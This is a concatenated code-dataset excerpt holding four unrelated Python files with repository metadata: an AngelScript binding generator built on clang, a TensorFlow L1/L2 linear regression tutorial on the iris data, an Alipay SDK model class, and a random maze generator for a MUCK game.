child.location.file.name if child.kind == cindex.CursorKind.TYPEDEF_DECL: name, kind = get_typedef(child) if name: typedef[name] = kind if fer and fer.search(filename): continue if fir and not fir.search(filename): continue if child.kind == cindex.CursorKind.MACRO_DEFINITION: tokens = list(cindex.TokenGroup.get_tokens(tu, child.extent)) if tokens[0].kind == cindex.TokenKind.IDENTIFIER and tokens[1].kind == cindex.TokenKind.LITERAL and is_int(tokens[1].spelling): define = _assert("engine->RegisterEnumValue(\"HASH_DEFINES\", \"%s\", %s)" % (tokens[0].spelling, tokens[1].spelling)) if define not in enums: enums.append(define) elif child.kind == cindex.CursorKind.FUNCTION_DECL: try: f = Function(child) if "operator" in f.name: raise Exception("Non member operator functions not supported currently") else: functions.append(f) add_include(filename) except Exception as e: logWarning("Skipping function %s - %s" % (child.spelling, e)) elif child.kind == cindex.CursorKind.TYPEDEF_DECL: name, kind = get_typedef(child) if name: typedef[name] = kind if get_real_type(kind) not in as_builtins: logWarning("Typedef %s = %s can't be registered as it doesn't resolve to an AngelScript builtin type" % (name, kind)) else: typedefs.append(_assert("engine->RegisterTypedef(\"%s\", \"%s\")" % (name, get_real_type(kind)))) else: logWarning("Typedef too complex, skipping: %s" % name) elif child.kind == cindex.CursorKind.CLASS_DECL or child.kind == cindex.CursorKind.STRUCT_DECL: children = list(child.get_children()) if len(children) == 0: continue if oer and oer.search(child.spelling): continue if oir and not oir.search(child.spelling): continue classname = child.spelling if len(classname) == 0: classname = child.displayname if len(classname) == 0: logWarning("Skipping class or struct defined at %s" % cursor.extent) continue if classname in objecttypes: # TODO: different namespaces logWarning("Skipping type %s, as it is already defined" % classname) o = ObjectType(child, children, classname) objecttypes[classname] = o add_include(filename) elif child.kind == cindex.CursorKind.MACRO_INSTANTIATION or \ child.kind == cindex.CursorKind.CONVERSION_FUNCTION or \ child.kind == cindex.CursorKind.INCLUSION_DIRECTIVE or \ child.kind == cindex.CursorKind.UNEXPOSED_DECL: continue # TODO: Make sure this is what we want elif child.kind == cindex.CursorKind.CONSTRUCTOR or \ child.kind == cindex.CursorKind.CXX_METHOD: continue else: logWarning("Unhandled cursor: %s, %s" % (child.displayname, child.kind)) # Removes usage of object types that are used both as a reference and a value type def mismatch_filter(source, toremove): toadd =source ret = [] while len(toadd): curr = toadd.pop(0) if curr.uses(toremove): logWarning("\t%s" % curr.pretty_name()) else: ret.append(curr) return ret def remove_ref_val_mismatches(): global functions global objectmethods global behaviours for key in objecttype_scoreboard: isref = is_reference_type(key) ref, val = objecttype_scoreboard[key] if (isref and val == 0) or (not isref and ref == 0): continue logWarning("\"%s\" is used both as a reference type (%d) and a value type (%d). The following will be removed:" % (key, ref, val)) toremove = "%s%s" % (key, "*" if not isref else "") functions = mismatch_filter(functions, toremove) objectmethods = mismatch_filter(objectmethods, toremove) behaviours = mismatch_filter(behaviours, toremove) def unknown_filter(source): toadd = source ret = [] while len(toadd): keep = True curr = toadd.pop(0) broken = None for t in curr.args: if not t.is_known(): broken = t.resolved keep = False if not curr.return_type.is_known(): broken = curr.return_type.resolved keep = False if not keep: logWarning("Removing %s as it's using an unknown type %s [disable with -ku]" % (curr.pretty_name(), broken)) else: ret.append(curr) return ret def remove_unknowns(): global functions global objectmethods global behaviours functions = unknown_filter(functions) objectmethods = unknown_filter(objectmethods) behaviours = unknown_filter(behaviours) def dup_filter(source): toadd = source ret = [] names = [] while len(toadd): keep = True curr = toadd.pop(0) pn = curr.pretty_name() if pn in names: logWarning("Removing duplicate function %s" % pn) else: ret.append(curr) names.append(pn) return ret def remove_duplicates(): global functions global objectmethods global behaviours functions = dup_filter(functions) objectmethods = dup_filter(objectmethods) behaviours = dup_filter(behaviours) def remove_reference_destructors(): global behaviours toadd = behaviours behaviours = [] while len(toadd): curr = toadd.pop(0) if is_reference_type(curr.clazz) and curr.behaviour == "asBEHAVE_DESTRUCT": logWarning("Removing destructor for reference type %s" % curr.clazz) else: behaviours.append(curr) def remove_pure_virtual_constructors(): global behaviours toadd = behaviours behaviours = [] while len(toadd): curr = toadd.pop(0) virt = False if curr.clazz in objecttypes: virt = objecttypes[curr.clazz].has_pure_virtuals if virt and (curr.behaviour == "asBEHAVE_CONSTRUCT" or curr.behaviour == "asBEHAVE_FACTORY"): logWarning("Removing constructor for type %s which has pure virtual members" % curr.clazz) else: behaviours.append(curr) walk(tu.cursor) # File processed, do some post processing remove_ref_val_mismatches() if not keep_unknowns: remove_unknowns() remove_duplicates() remove_reference_destructors() remove_pure_virtual_constructors() if output_filename != None: output_filename = output_filename.replace("${this_file_path}", os.path.dirname(os.path.abspath(configfile))) ot = [objecttypes[o] for o in objecttypes] ot.sort(cmp=lambda a, b: cmp(a.index, b.index)) for diag in tu.diagnostics: logWarning("clang had the following to say: %s" % (diag.spelling)) objectTypeStrings = [] for o in ot: objectTypeStrings.append(o.get_register_string()) typeDefStrings = [] for o in typedefs: typeDefStrings.append(o.get_register_string()) functionStrings = [] for o in functions: functionStrings.append(o.get_register_string()) behaviourStrings = [] for o in behaviours: behaviourStrings.append(o.get_register_string()) objectMethodStrings = [] for o in objectmethods: objectMethodStrings.append(o.get_register_string()) objectFieldStrings = [] for o in objectfields: objectFieldStrings.append(o.get_register_string()) tpl = Template(filename='ScriptBind.mako') rendered = tpl.render( genericWrappers=generic_wrappers, funcName=funcname, includes=includes, objectTypes=objectTypeStrings, typeDefs=typeDefStrings, hashDefines=_assert("engine->RegisterEnum(\"HASH_DEFINES\")"), enums="", functions=functionStrings, behaviours=behaviourStrings, objectMethods=objectMethodStrings, objectFields=objectFieldStrings) with open(output_filename, "w") as f: f.write(rendered) sys.stderr.write("Finished with %d warnings\n" % warn_count)

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0.108066

0.091602

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0.320188

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35.285849

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null

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75ca90abf615365ec5eda2bc92c9c7ddc159748c

3,699

py

Python

cookbook/3 Linear Regression/lin_reg_l1_l2_loss.py

keetsky/tensorflow_learn

77205434c2e3d70d482a756f5f679622d10f49b2

[ "Apache-2.0" ]

null

cookbook/3 Linear Regression/lin_reg_l1_l2_loss.py

keetsky/tensorflow_learn

77205434c2e3d70d482a756f5f679622d10f49b2

[ "Apache-2.0" ]

null

cookbook/3 Linear Regression/lin_reg_l1_l2_loss.py

keetsky/tensorflow_learn

77205434c2e3d70d482a756f5f679622d10f49b2

[ "Apache-2.0" ]

null

''' # Linear Regression: understanding loss function in linear regression #---------------------------------- # # This function shows how to use Tensorflow to # solve linear regression. # y = Ax + b # # We will use the iris data, specifically: # y = Sepal Length # x = Petal Width ''' import matplotlib.pyplot as plt import numpy as np import tensorflow as tf from sklearn import datasets from tensorflow.python.framework import ops #%% #L2 Loss ops.reset_default_graph() sess=tf.Session() # Load the data # iris.data = [(Sepal Length, Sepal Width, Petal Length, Petal Width)] iris=datasets.load_iris() x_vals=np.array([x[3] for x in iris.data]) y_vals=np.array([y[0] for y in iris.data]) # Declare batch size batch_size = 25 # Initialize placeholders x_data=tf.placeholder(shape=[None,1],dtype=tf.float32) y_=tf.placeholder(shape=[None,1], dtype=tf.float32) #create variable for linear regression A=tf.Variable(tf.random_normal(shape=[1,1])) b=tf.Variable(tf.random_normal(shape=[1,1])) #declare model operations y=tf.add(tf.matmul(x_data,A),b) #declare loss functions (1/2/m) (y_-y)^2 loss=tf.reduce_mean(tf.square(y_- y)) #Declare optimizer op=tf.train.GradientDescentOptimizer(0.4) train_step=op.minimize(loss) #initialize variables init=tf.global_variables_initializer() sess.run(init) #training loop loss_vec_l2=[] for i in range(100): rand_index=np.random.choice(len(x_vals),size=batch_size)#随机从len(x_vals)中选取25个下标 rand_x=np.transpose([x_vals[rand_index]]) rand_y=np.transpose([y_vals[rand_index]]) sess.run(train_step,feed_dict={x_data:rand_x,y_:rand_y}) temp_loss=sess.run(loss,feed_dict={x_data:rand_x,y_:rand_y}) loss_vec_l2.append(temp_loss) if (i+1)%25==0: print('Step #' + str(i+1) + ' A = ' + str(sess.run(A)) + ' b = ' + str(sess.run(b))) print('Loss = ' + str(temp_loss)) #%% #L1 Loss ops.reset_default_graph() # Create graph sess = tf.Session() # Load the data # iris.data = [(Sepal Length, Sepal Width, Petal Length, Petal Width)] iris = datasets.load_iris() x_vals = np.array([x[3] for x in iris.data]) y_vals = np.array([y[0] for y in iris.data]) # Declare batch size and number of iterations batch_size = 25 learning_rate = 0.4 # Will not converge with learning rate at 0.4 iterations = 100 # Initialize placeholders x_data = tf.placeholder(shape=[None, 1], dtype=tf.float32) y_target = tf.placeholder(shape=[None, 1], dtype=tf.float32) # Create variables for linear regression A = tf.Variable(tf.random_normal(shape=[1,1])) b = tf.Variable(tf.random_normal(shape=[1,1])) # Declare model operations model_output = tf.add(tf.matmul(x_data, A), b) # Declare loss functions loss_l1 = tf.reduce_mean(tf.abs(y_target - model_output)) # Initialize variables init = tf.initialize_all_variables() sess.run(init) # Declare optimizers my_opt_l1 = tf.train.GradientDescentOptimizer(learning_rate) train_step_l1 = my_opt_l1.minimize(loss_l1) # Training loop loss_vec_l1 = [] for i in range(iterations): rand_index = np.random.choice(len(x_vals), size=batch_size) rand_x = np.transpose([x_vals[rand_index]]) rand_y = np.transpose([y_vals[rand_index]]) sess.run(train_step_l1, feed_dict={x_data: rand_x, y_target: rand_y}) temp_loss_l1 = sess.run(loss_l1, feed_dict={x_data: rand_x, y_target: rand_y}) loss_vec_l1.append(temp_loss_l1) if (i+1)%25==0: print('Step #' + str(i+1) + ' A = ' + str(sess.run(A)) + ' b = ' + str(sess.run(b))) #%% #plot loss over time(steps) plt.plot(loss_vec_l1, 'k-', label='L1 Loss') plt.plot(loss_vec_l2, 'r--', label='L2 Loss') plt.title('L1 and L2 Loss per Generation') plt.xlabel('Generation') plt.ylabel('L1 Loss') plt.legend(loc='upper right') plt.show()

30.073171

92

0.711544

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75cdec8d921818ac60703e7cb57923284eb229e2

2,499

py

Python

alipay/aop/api/domain/AlipayCommerceEducateTuitioncodeMonitorCreateModel.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

null

alipay/aop/api/domain/AlipayCommerceEducateTuitioncodeMonitorCreateModel.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

null

alipay/aop/api/domain/AlipayCommerceEducateTuitioncodeMonitorCreateModel.py

antopen/alipay-sdk-python-all

8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c

[ "Apache-2.0" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class AlipayCommerceEducateTuitioncodeMonitorCreateModel(object): def __init__(self): self._bank_type = None self._login_account = None self._out_apply_id = None self._parent_no = None @property def bank_type(self): return self._bank_type @bank_type.setter def bank_type(self, value): self._bank_type = value @property def login_account(self): return self._login_account @login_account.setter def login_account(self, value): self._login_account = value @property def out_apply_id(self): return self._out_apply_id @out_apply_id.setter def out_apply_id(self, value): self._out_apply_id = value @property def parent_no(self): return self._parent_no @parent_no.setter def parent_no(self, value): self._parent_no = value def to_alipay_dict(self): params = dict() if self.bank_type: if hasattr(self.bank_type, 'to_alipay_dict'): params['bank_type'] = self.bank_type.to_alipay_dict() else: params['bank_type'] = self.bank_type if self.login_account: if hasattr(self.login_account, 'to_alipay_dict'): params['login_account'] = self.login_account.to_alipay_dict() else: params['login_account'] = self.login_account if self.out_apply_id: if hasattr(self.out_apply_id, 'to_alipay_dict'): params['out_apply_id'] = self.out_apply_id.to_alipay_dict() else: params['out_apply_id'] = self.out_apply_id if self.parent_no: if hasattr(self.parent_no, 'to_alipay_dict'): params['parent_no'] = self.parent_no.to_alipay_dict() else: params['parent_no'] = self.parent_no return params @staticmethod def from_alipay_dict(d): if not d: return None o = AlipayCommerceEducateTuitioncodeMonitorCreateModel() if 'bank_type' in d: o.bank_type = d['bank_type'] if 'login_account' in d: o.login_account = d['login_account'] if 'out_apply_id' in d: o.out_apply_id = d['out_apply_id'] if 'parent_no' in d: o.parent_no = d['parent_no'] return o

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0.304348

0

null

0

null

0

1

0

75d4809609a0cd8b60448ab7ac5fccbe7bba640b

5,010

py

Python

maze.py

vcxsd/muck-builder

12c1defbb816395a119da1992c1352d614d5507b

[ "MIT" ]

null

maze.py

vcxsd/muck-builder

12c1defbb816395a119da1992c1352d614d5507b

[ "MIT" ]

null

maze.py

vcxsd/muck-builder

12c1defbb816395a119da1992c1352d614d5507b

[ "MIT" ]

null

import random import yaml class Grammar: """ A simpler version of Tracery's ideas. """ def __init__( self, rules = None ): self.rules = rules or { } # To be pop()'d off by the caller. self.saved = [ ] def parse( self, string ): if "[" in string or "]" in string: fragments = [ ] buffer = '' brackets = False for char in string: if char == '[': fragments += [ buffer ] buffer = '' if brackets: raise Exception( "Grammar.parse: can't nest brackets" ) brackets = True elif char == ']': if not brackets: raise Exception( "Grammar.parse: unmatched bracket" ) brackets = False # Mechanism for saving what result we got: put a ! somewhere in the [ ]-surrounded text. if buffer.replace( "!", "" ) in self.rules: fragments += [ self.parse( random.choice( self.rules[buffer.replace( "!", "" )] ) ) ] if "!" in buffer: self.saved += [ fragments[-1] ] buffer = '' else: raise Exception( "Grammar.parse: no such rule '" + buffer + "'." ) else: buffer += char if buffer != '': fragments += [ buffer ] return "".join( fragments ) else: return string def rule( self, rule, new = None ): if new: self.rules[rule] = new else: if rule in self.rules: return self.rules[rule] else: return None wallMaker = Grammar({ 'wallMat': [ 'stone', 'rock', 'wood', 'paper', 'earth', 'crystal', 'leafy vagueness', 'sand', 'skin', 'bark', 'foliage', 'needles', 'delicate tiles', 'agate', 'quartz', 'glass', 'iron', 'copper' ], 'wallCond': [ 'dark', 'heavy', 'slick', 'moss-clung', 'twisted', 'fluted', 'greenish', 'dark', 'hot', 'lumpy', 'unsteady', 'slippery', 'geometrically flanged', 'sigil-eaten', 'consuming', 'blue', 'reddish', 'translucent', 'ultramarine', 'sky-blue', 'delicate pink', 'fuligin' ], 'walls': [ 'walls of [wallMat] close in; the way is [width].', '[wallCond] walls of [wallMat] close in.', 'the walls are [wallCond] [wallMat]... the tunnels, [width].', 'all around, [wallCond] [wallMat].', 'all around, [wallMat].', 'there\'s [wallMat] everywhere here.', 'there\'s [wallMat] everywhere here. it\'s [wallCond].', '[wallCond] [wallMat] all around.', 'the walls are made of [wallMat] here.', 'this place is built entirely of [wallMat].', 'it\'s very [wallCond] here.', '[width], [wallCond].', '[wallMat].', '[wallCond].'], 'width': [ 'suffocatingly close', 'echoing', 'massive', 'wide', 'barely large enough to pass crawling', 'thin and straight', 'tall and narrow', 'tiny', 'spacious', 'vast' ], 'door': [ 'door', 'hatch', 'gate', 'opening', 'incision', 'grating', 'well', 'oubliette', 'tunnel', 'arch' ], 'doorMat': [ 'rock', 'oaken', 'papery', 'crystal', 'glass', 'iron', 'silver' ], 'hidden': [ 'half-hidden', 'in plain view', 'almost impossible to spot', 'staring you in the face', 'which can only be found by touch' ] }) if __name__ == '__main__': linkNames = [ "[N]orth;north;n", "[S]outh;south;s", "[E]ast;east;e", "[W]est;west;w", "[U]p;up;u" ] project = { "projectName": "maze", "rooms": { } } roomCount = 25 for i in range(0, roomCount): desc = wallMaker.parse("[walls]\n\na [doorMat] [!door], [hidden].") door = wallMaker.saved.pop( ) ID = "room-" + i.__str__() project["rooms"][ ID ] = { "NAME": "Maze" } project["rooms"][ ID ][ "LINKS" ] = { } project["rooms"][ ID ][ "_/de" ] = desc project["rooms"][ ID ][ "POSTSCRIPT" ] = { "BUILD": [ "@set here=D", "@tel here=#63" ] } # Each room shall have 2-3 links to other random rooms. Don't try to be consistent. ln = linkNames.copy( ) random.shuffle(ln) for i in range( 0, random.choice([ 2, 3, 3, 3, 3, 4, 4, 4 ]) ): project["rooms"][ ID ][ "LINKS" ][ "room-" + random.choice( range(0, roomCount) ).__str__() ] = { "NAME": ln.pop( ), "succ": "You force your way through the " + door + ".", "osucc": "forces their way through the " + door + ".", "odrop": "emerges through an obscure way from some other part of the maze." } with open("maze.gen.yaml", "w") as fh: fh.write( yaml.dump( project ) ) print( "write: maze.gen.yaml (probably.)" )

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